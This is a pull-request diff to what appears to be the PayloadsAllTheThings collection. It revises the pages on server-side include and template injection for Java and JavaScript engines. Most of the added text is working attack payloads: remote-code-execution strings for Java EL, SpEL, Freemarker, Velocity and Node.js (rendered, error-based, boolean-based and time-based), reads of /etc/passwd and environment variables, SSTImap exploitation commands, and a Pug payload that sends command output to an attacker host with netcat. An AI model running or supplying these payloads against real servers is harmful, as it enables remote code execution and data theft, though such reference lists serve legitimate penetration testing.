[pull] master from swisskyrepo:master

Server Side Include Injection/README.md

@@ -4,10 +4,21 @@
 
 ## Summary
 
+* [Tools](#tools)
 * [Methodology](#methodology)
 * [Edge Side Inclusion](#edge-side-inclusion)
 * [References](#references)
 
+## Tools
+
+* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI`
+
+  ```bash
+  python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
+  python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
+  python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
+  ```
+
 ## Methodology
 
 SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.

Server Side Template Injection/Java.md

@@ -5,17 +5,15 @@
 ## Summary
 
 - [Templating Libraries](#templating-libraries)
-- [Java](#java)
-    - [Java - Basic Injection](#java---basic-injection)
-    - [Java - Retrieve Environment Variables](#java---retrieve-environment-variables)
-    - [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
+- [Java EL](#java-el)
+    - [Java EL - Basic Injection](#java-el---basic-injection)
+    - [Java EL - Code Execution](#java-el---code-execution)
 - [Freemarker](#freemarker)
     - [Freemarker - Basic Injection](#freemarker---basic-injection)
     - [Freemarker - Read File](#freemarker---read-file)
     - [Freemarker - Code Execution](#freemarker---code-execution)
     - [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation)
     - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
-- [Codepen](#codepen)
 - [Jinjava](#jinjava)
     - [Jinjava - Basic Injection](#jinjava---basic-injection)
     - [Jinjava - Command Execution](#jinjava---command-execution)
@@ -32,27 +30,31 @@
     - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
 - [Spring Expression Language](#spring-expression-language)
     - [SpEL - Basic Injection](#spel---basic-injection)
+    - [SpEL - Retrieve Environment Variables](#spel---retrieve-environment-variables)
+    - [SpEL - Retrieve /etc/passwd](#spel---retrieve-etcpasswd)
     - [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
     - [SpEL - Session Attributes](#spel---session-attributes)
     - [SpEL - Command Execution](#spel---command-execution)
 - [References](#references)
 
 ## Templating Libraries
 
-| Template Name | Payload Format |
-| ------------ | --------- |
-| Codepen    | `#{}`     |
-| Freemarker | `${3*3}`, `#{3*3}`, `[=3*3]` |
-| Groovy     | `${9*9}`  |
-| Jinjava    | `{{ }}`   |
-| Pebble     | `{{ }}`   |
-| Spring     | `*{7*7}`  |
-| Thymeleaf  | `[[ ]]`   |
-| Velocity   | `#set($X="") $X`             |
+| Template Name | Payload Format         |
+|---------------|------------------------|
+| Codepen       | `#{ }`                 |
+| Freemarker    | `${ }`, `#{ }`, `[= ]` |
+| Groovy        | `${ }`                 |
+| Jinjava       | `{{ }}`                |
+| Pebble        | `{{ }}`                |
+| Spring        | `*{ }`                 |
+| Thymeleaf     | `[[ ]]`                |
+| Velocity      | `#set($X="") $X`       |
 
-## Java
+## Java EL
 
-### Java - Basic Injection
+### Java EL - Basic Injection
+
+Java has multiple Expression Languages using similar syntax.
 
 > Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
 
@@ -64,18 +66,14 @@ ${class.getResource("").getPath()}
 ${class.getResource("../../../../../index.htm").getContent()}
 ```
 
-### Java - Retrieve Environment Variables
-
-```java
-${T(java.lang.System).getenv()}
-```
-
-### Java - Retrieve /etc/passwd
+### Java EL - Code Execution
 
 ```java
-${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
+${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE
+${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE
+${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE
+${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE
 
-${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
 ```
 
 ---
@@ -110,6 +108,10 @@ Convert the returned bytes to ASCII
 ${"freemarker.template.utility.Execute"?new()("id")}
 #{"freemarker.template.utility.Execute"?new()("id")}
 [="freemarker.template.utility.Execute"?new()("id")]
+
+${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE
+${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE
+${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE
 ```
 
 ### Freemarker - Code Execution with Obfuscation
@@ -140,24 +142,6 @@ ${dwf.newInstance(ec,null)("id")}
 
 ---
 
-## Codepen
-
-[Official website](https://codepen.io/)
->
-
-```python
-- var x = root.process
-- x = x.mainModule.require
-- x = x('child_process')
-= x.exec('id | nc attacker.net 80')
-```
-
-```javascript
-#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
-```
-
----
-
 ## Jinjava
 
 [Official website](https://github.com/HubSpot/jinjava)
@@ -275,6 +259,41 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo
 #end
 ```
 
+Error-Based RCE payload:
+
+```java
+#set($s="")
+#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
+#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
+#set($n=$p.waitFor())
+#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
+#include($b)
+```
+
+Boolean-Based RCE payload:
+
+```java
+#set($s="")
+#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
+#set($n=$p.waitFor())
+#set($r=$p.exitValue())
+#if($r != 0)
+#include("Y:/A:/xxx")
+#end
+```
+
+Time-Based RCE payload:
+
+```java
+#set($s="")
+#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
+#set($n=$p.waitFor())
+#set($r=$p.exitValue())
+#if($r != 0)
+#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
+#end
+```
+
 ---
 
 ## Groovy
@@ -340,6 +359,8 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val
 
 ## Spring Expression Language
 
+> Java EL payloads also work for SpEL
+
 [Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html)
 
 > The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.
@@ -351,6 +372,20 @@ ${7*7}
 ${'patt'.toString().replace('a', 'x')}
 ```
 
+### SpEL - Retrieve Environment Variables
+
+```java
+${T(java.lang.System).getenv()}
+```
+
+### SpEL - Retrieve /etc/passwd
+
+```java
+${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
+
+${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
+```
+
 ### SpEL - DNS Exfiltration
 
 DNS lookup
@@ -421,3 +456,4 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
 - [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
 - [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s)
 - [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
+- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)

Server Side Template Injection/JavaScript.md

@@ -5,31 +5,56 @@
 ## Summary
 
 - [Templating Libraries](#templating-libraries)
+- [Universal Payloads](#universal-payloads)
 - [Handlebars](#handlebars)
     - [Handlebars - Basic Injection](#handlebars---basic-injection)
     - [Handlebars - Command Execution](#handlebars---command-execution)
 - [Lodash](#lodash)
     - [Lodash - Basic Injection](#lodash---basic-injection)
     - [Lodash - Command Execution](#lodash---command-execution)
+- [Pug](#pug)
 - [References](#references)
 
 ## Templating Libraries
 
-| Template Name | Payload Format |
-| ------------ | --------- |
-| DotJS        | `{{= }}`  |
-| DustJS       | `{}`      |
-| EJS          | `<% %>`   |
-| HandlebarsJS | `{{ }}`   |
-| HoganJS      | `{{ }}`   |
-| Lodash       | `{{= }}`  |
-| MustacheJS   | `{{ }}`   |
-| NunjucksJS   | `{{ }}`   |
-| PugJS        | `#{}`     |
-| TwigJS       | `{{ }}`   |
-| UnderscoreJS | `<% %>`   |
-| VelocityJS   | `#=set($X="")$X` |
-| VueJS        | `{{ }}`   |
+| Template Name | Payload Format   |
+|---------------|------------------|
+| DotJS         | `{{= }}`         |
+| DustJS        | `{ }`            |
+| EJS           | `<% %>`          |
+| HandlebarsJS  | `{{ }}`          |
+| HoganJS       | `{{ }}`          |
+| Lodash        | `{{= }}`         |
+| MustacheJS    | `{{ }}`          |
+| NunjucksJS    | `{{ }}`          |
+| PugJS         | `#{ }`           |
+| TwigJS        | `{{ }}`          |
+| UnderscoreJS  | `<% %>`          |
+| VelocityJS    | `#=set($X="")$X` |
+| VueJS         | `{{ }}`          |
+
+## Universal Payloads
+
+Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.
+
+To use these payloads, wrap them in the appropriate tag.
+
+```javascript
+// Rendered RCE
+global.process.mainModule.require("child_process").execSync("id").toString()
+
+// Error-Based RCE
+global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
+""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
+
+// Boolean-Based RCE
+[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
+
+// Time-Based RCE
+global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
+```
+
+NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.
 
 ## Handlebars
 
@@ -120,7 +145,28 @@ ${= _.VERSION}
 {{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
 ```
 
+---
+
+## Pug
+
+> Universal payloads also work for Pug.
+
+[Official website](https://pugjs.org/api/getting-started.html)
+>
+
+```javascript
+- var x = root.process
+- x = x.mainModule.require
+- x = x('child_process')
+= x.exec('id | nc attacker.net 80')
+```
+
+```javascript
+#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
+```
+
 ## References
 
 - [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
 - [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
+- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)